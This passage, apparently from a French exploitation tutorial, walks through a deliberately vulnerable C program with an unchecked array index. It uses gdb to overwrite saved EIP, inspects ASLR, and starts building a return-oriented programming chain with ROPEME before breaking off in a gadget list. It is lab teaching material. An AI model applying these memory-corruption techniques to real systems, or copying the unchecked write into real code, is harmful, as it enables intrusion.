134);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;WAdress     :&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;%p&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;tab&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;offset&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;tab&lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;offset&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;value&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;main&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; argc&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;char&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;*&lt;/span&gt; argv&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;if&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;argc&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;{&lt;/span&gt;&lt;br /&gt;printf&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;\t&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt; Usage:&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;%s&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt; &amp;lt;file&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;argv&lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;FILE&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;*&lt;/span&gt; f&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; c&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; o&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;int&lt;/span&gt; tab&lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;1024&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;char&lt;/span&gt; temp&lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;memset&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;tab&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;1024&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;(int&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;f&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;fopen&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;argv&lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;r&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;if&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;f&lt;span style="color: rgb(210, 205, 134);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 125, 69);"&gt;NULL&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;fgets&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;temp&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;f&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   c&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;atoll&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;temp&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   fgets&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;temp&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;f&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   o&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;atoll&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;temp&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;if&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;c&lt;span style="color: rgb(210, 205, 134);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;&amp;amp;&lt;/span&gt; o&lt;span style="color: rgb(210, 205, 134);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(176, 96, 176);"&gt;{&lt;/span&gt;&lt;br /&gt;       printf&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;Will Write &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;%i&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;%x&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;) &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;\&lt;/span&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 196, 196);"&gt;                    at Offset &lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;%i&lt;/span&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(2, 208, 69);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;c&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;c&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;o&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;       insert&lt;span style="color: rgb(210, 205, 134);"&gt;(&lt;/span&gt;o&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;c&lt;span style="color: rgb(210, 205, 134);"&gt;,&lt;/span&gt;tab&lt;span style="color: rgb(210, 205, 134);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(176, 96, 176);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(176, 96, 176);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;Le binaire est disponible ici : &lt;a href="http://repo.zenk-security.com/sm0k/Trash/poc"&gt;http://repo.zenk-security.com/sm0k/Trash/poc&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Aucune option de compilation n'est ajoutée, le noyau utilisé est le suivant:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;wiid&lt;/span&gt; &lt;span style="color: rgb(102, 51, 255);"&gt;sm0k #&lt;/span&gt; uname -r&lt;br /&gt;2.6.34-gentoo-r6&lt;/div&gt;&lt;br /&gt;On utilise &lt;a href="http://www.trapkit.de/tools/checksec.sh"&gt;checksec.sh&lt;/a&gt; pour connaitre les mitigations activées :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;sm0k@wiid&lt;/span&gt;&lt;span style="color: rgb(102, 51, 255);"&gt; ~ $&lt;/span&gt; ./checksec.sh --file poc&lt;br /&gt;RELRO                           STACK CANARY                   NX                                 PIE                               FILE&lt;br /&gt;&lt;span style="color: rgb(255, 255, 51);"&gt;Partial RELRO&lt;/span&gt;    &lt;span style="color: rgb(255, 0, 0);"&gt; No canary found&lt;/span&gt;                &lt;span style="color: rgb(51, 255, 51);"&gt;NX enabled&lt;/span&gt;         &lt;span style="color: rgb(255, 0, 0);"&gt;No PIE&lt;/span&gt;                     poc&lt;/div&gt;&lt;br /&gt;L'ASLR est activé, la GOT n'est potentiellement pas inscriptible (RELRO), le SSP n'est pas utilisé (nous aurions pu l'activer, cela n'aurait posé aucun problème pour l'exploitation qui va suivre), la pile n'est pas exécutable (exploitation par shellcode impossible), et enfin la section .text est fixe en mémoire (PIE désactivé).&lt;br /&gt;&lt;br /&gt;Nous allons donc bypasser ASLR, NX Bit, RELRO, et SSP, tout ca a la fois :p&lt;br /&gt;&lt;br /&gt;Le programme lit le fichier dont le nom est passé en argument ligne par ligne et stocke la représentation entière de la valeur en ligne 1 a la position x du tableau tab, x étant la valeur de la ligne 2.&lt;br /&gt;&lt;br /&gt;Le programme boucle jusqu'à ce qu'il n'y ai plus de lignes dans le fichier.&lt;br /&gt;&lt;br /&gt;On est ici clairement face à un débordement de tampon classique, qui de plus nous permet de bypasser le SSP puisqu'on peut réécrire saved eip sans écraser le canary.&lt;br /&gt;&lt;br /&gt;Pour ceux qui ne l'avaient pas encore repéré la vulnérabilité est la :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;tab[offset]=value;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Il aurait fallu vérifier que la valeur d'offset ne dépasse pas (taille tableau -1) à savoir 1023.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Débugguons&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On pose un point d'arret au début de main, ainsi on sait facilement ou est stocké &lt;span style="color: rgb(51, 204, 0);"&gt;Saved EIP&lt;/span&gt; sur la pile (Attention on travaille avec des adresse réelles pour les calculs tant qu'on reste dans la meme instance de gdb, si on le redémarre il faudra tout recommencer.)&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;sm0k@wiid ~ $ gdb poc&lt;br /&gt;&lt;br /&gt;(gdb) b *main+0&lt;br /&gt;Breakpoint 1 at 0x804851a&lt;br /&gt;(gdb) run&lt;br /&gt;Starting program: /home/sm0k/poc&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804851a in main ()&lt;br /&gt;(gdb) x/x $esp&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;0xbffff42c&lt;/span&gt;:&lt;span style="color: rgb(153, 153, 153);"&gt;     &lt;/span&gt;0xb7eacbb6&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;L'adresse du buffer qu'on controle, ici le tableau tab nous est donnée par le programme, mais on aurait pu la déterminer facilement en regardant les arguments passés a insert():&lt;span style="color: rgb(255, 204, 51);"&gt;  0xbfffe460&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On va maintenant calculer le décalage entre le début de &lt;span style="color: rgb(255, 204, 0);"&gt;tab&lt;/span&gt;&lt;span style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;et &lt;span style="color: rgb(51, 204, 0);"&gt;Saved EIP&lt;/span&gt; sur la pile :&lt;br /&gt;&lt;br /&gt;donc &lt;span style="color: rgb(51, 204, 0);"&gt;0xbffff42c&lt;/span&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; &lt;/span&gt;- &lt;span style="color: rgb(255, 204, 0);"&gt;0xbfffe460 &lt;/span&gt;= 0x102c = 4140&lt;br /&gt;&lt;br /&gt;Etant donné qu'on travaille avec des int, on divise par 4 :  4140/4 =  &lt;span style="color: rgb(204, 0, 0);"&gt;1035&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il est donc possible de rediriger le flux d'instruction du programme en écrasant Saved EIP en écrivant à tab[&lt;span style="color: rgb(204, 0, 0);"&gt;1035&lt;/span&gt;]. W00t! :)&lt;br /&gt;&lt;br /&gt;On va donc essayer de réécrire saved eip par 0x41414141 (1094795585 base 10), ce qui nous donne le fichier suivant:&lt;br /&gt;(Souvenez vous, la première ligne contient la valeur à écrire et la seconde son offset par rapport a tab)&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;sm0k@wiid ~ $ cat t&lt;br /&gt;1094795585&lt;br /&gt;1035&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On test :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;(gdb) r t&lt;br /&gt;Starting program: /root/poc t&lt;br /&gt;&lt;br /&gt;Will Write 1094795585(41414141) at Offset &lt;span style="color: rgb(204, 0, 0);"&gt;1035&lt;/span&gt;&lt;br /&gt;Tab Address : &lt;span style="color: rgb(255, 204, 0);"&gt;0xbfffe460&lt;/span&gt;&lt;br /&gt;WAdress     :&lt;span style="color: rgb(153, 0, 0);"&gt;0xbffff48c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x41414141 in ?? ()&lt;br /&gt;(gdb)&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Bingo!&lt;br /&gt;&lt;br /&gt;Bon on va voir comment exploiter ca maintenant...&lt;br /&gt;&lt;br /&gt;On prend déja les infos nécessaires :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;sm0k@wiid ~ $ cat /proc/self/maps&lt;br /&gt;08048000-08051000 r-xp 00000000 08:03 444485     /bin/cat&lt;br /&gt;08051000-08052000 r--p 00008000 08:03 444485     /bin/cat&lt;br /&gt;08052000-08053000 rw-p 00009000 08:03 444485     /bin/cat&lt;br /&gt;08053000-08074000 rw-p 00000000 00:00 0          [heap]&lt;br /&gt;b759c000-b759d000 rw-p 00000000 00:00 0&lt;br /&gt;b759d000-b76dd000 r-xp 00000000 08:03 412168     /lib/libc-2.11.2.so&lt;br /&gt;b76dd000-b76df000 r--p 0013f000 08:03 412168     /lib/libc-2.11.2.so&lt;br /&gt;b76df000-b76e0000 rw-p 00141000 08:03 412168     /lib/libc-2.11.2.so&lt;br /&gt;b76e0000-b76e3000 rw-p 00000000 00:00 0&lt;br /&gt;b76e7000-b76e8000 rw-p 00000000 00:00 0&lt;br /&gt;b76e8000-b76e9000 r-xp 00000000 00:00 0          [vdso]&lt;br /&gt;b76e9000-b7705000 r-xp 00000000 08:03 412117     /lib/ld-2.11.2.so&lt;br /&gt;b7705000-b7706000 r--p 0001b000 08:03 412117     /lib/ld-2.11.2.so&lt;br /&gt;b7706000-b7707000 rw-p 0001c000 08:03 412117     /lib/ld-2.11.2.so&lt;br /&gt;bfd18000-bfd3a000 rw-p 00000000 00:00 0          [stack]&lt;br /&gt;&lt;br /&gt;sm0k@wiid ~ $ cat /proc/self/maps&lt;br /&gt;08048000-08051000 r-xp 00000000 08:03 444485     /bin/cat&lt;br /&gt;08051000-08052000 r--p 00008000 08:03 444485     /bin/cat&lt;br /&gt;08052000-08053000 rw-p 00009000 08:03 444485     /bin/cat&lt;br /&gt;08053000-08074000 rw-p 00000000 00:00 0          [heap]&lt;br /&gt;b7765000-b7766000 rw-p 00000000 00:00 0&lt;br /&gt;b7766000-b78a6000 r-xp 00000000 08:03 412168     /lib/libc-2.11.2.so&lt;br /&gt;b78a6000-b78a8000 r--p 0013f000 08:03 412168     /lib/libc-2.11.2.so&lt;br /&gt;b78a8000-b78a9000 rw-p 00141000 08:03 412168     /lib/libc-2.11.2.so&lt;br /&gt;b78a9000-b78ac000 rw-p 00000000 00:00 0&lt;br /&gt;b78b0000-b78b1000 rw-p 00000000 00:00 0&lt;br /&gt;b78b1000-b78b2000 r-xp 00000000 00:00 0          [vdso]&lt;br /&gt;b78b2000-b78ce000 r-xp 00000000 08:03 412117     /lib/ld-2.11.2.so&lt;br /&gt;b78ce000-b78cf000 r--p 0001b000 08:03 412117     /lib/ld-2.11.2.so&lt;br /&gt;b78cf000-b78d0000 rw-p 0001c000 08:03 412117     /lib/ld-2.11.2.so&lt;br /&gt;bfe35000-bfe57000 rw-p 00000000 00:00 0          [stack]&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;l'ASLR est bien activé partout(on peut le voir car les adresses 'bougent' d'une fois sur l'autre) sauf sur les sections .text et heap (le tas).&lt;br /&gt;La pile n'est pas executable (Flag x non présent).&lt;br /&gt;&lt;br /&gt;Bon ca nous facilite pas la tache comme vous pouvez le constater :)&lt;br /&gt;&lt;br /&gt;Il reste une solution : le Return Oriented Programming.&lt;br /&gt;&lt;br /&gt;Le principe est de rechercher dans les sections exécutables (et non touchées par l'ASLR) des "gadgets", qui sont en fait des petites portions de code directement suivies par un ret (ce qui nous permettra donc d'enchainer les gadgets).&lt;br /&gt;&lt;br /&gt;On utilisera ensuite ces gadgets pour constituer une sorte de shellcode.&lt;br /&gt;&lt;br /&gt;Dans la pratique, notre chaine d'exploitation ne contiendra que les adresses de nos gadgets, et donc pas d'opcodes (IDS-Safe ?! :D )&lt;br /&gt;&lt;br /&gt;On va utiliser l'outil &lt;a href="http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/"&gt;ROPEME&lt;/a&gt; pour ca:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;ROPeMe&gt; generate /home/sm0k/poc&lt;br /&gt;Generating gadgets for /home/sm0k/poc with backward depth=3&lt;br /&gt;It may take few minutes depends on the depth and file size...&lt;br /&gt;Processing code block 1/1&lt;br /&gt;Generated 66 gadgets&lt;br /&gt;Dumping asm gadgets to file: poc.ggt ...&lt;br /&gt;OK&lt;br /&gt;&lt;br /&gt;ROPeMe&gt; load poc.ggt&lt;br /&gt;Loading asm gadgets from file: poc.ggt ...&lt;br /&gt;Loaded 66 gadgets&lt;br /&gt;ELF base address: 0x8048000&lt;br /&gt;OK&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Et voila nos gadgets :&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;&lt;pre style="color: rgb(209, 209, 209); background: none repeat scroll 0% 0% rgb(0, 0, 0);"&gt;ROPeMe&lt;span style="color: rgb(210, 205, 134);"&gt;&gt;&lt;/span&gt; search &lt;span style="color: rgb(210, 205, 134);"&gt;%&lt;/span&gt;&lt;br /&gt;Searching &lt;span style="color: rgb(0, 128, 115);"&gt;for&lt;/span&gt; ROP gadget&lt;span style="color: rgb(210, 205, 134);"&gt;:&lt;/span&gt;  &lt;span style="color: rgb(210, 205, 134);"&gt;%&lt;/span&gt; &lt;span style="color: rgb(0, 128, 115);"&gt;with&lt;/span&gt; constraints&lt;span style="color: rgb(210, 205, 134);"&gt;:&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048512L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;adc&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x10890c55&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x8048517L:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;adc&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;cl&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804867eL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;leave&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(227, 74, 220);"&gt;0x804842dL:&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 159);"&gt;al&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;|&lt;/span&gt; &lt;span style="color: rgb(230, 97, 112); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(210, 205, 134);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(208, 208, 159);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 168, 0);"&gt;0x7f&lt;/span&gt;&lt;span style="color: rgb(210, 205, 134);"&gt;]&lt;/span&gt; &lt;span style="color: rgb(208, 208, 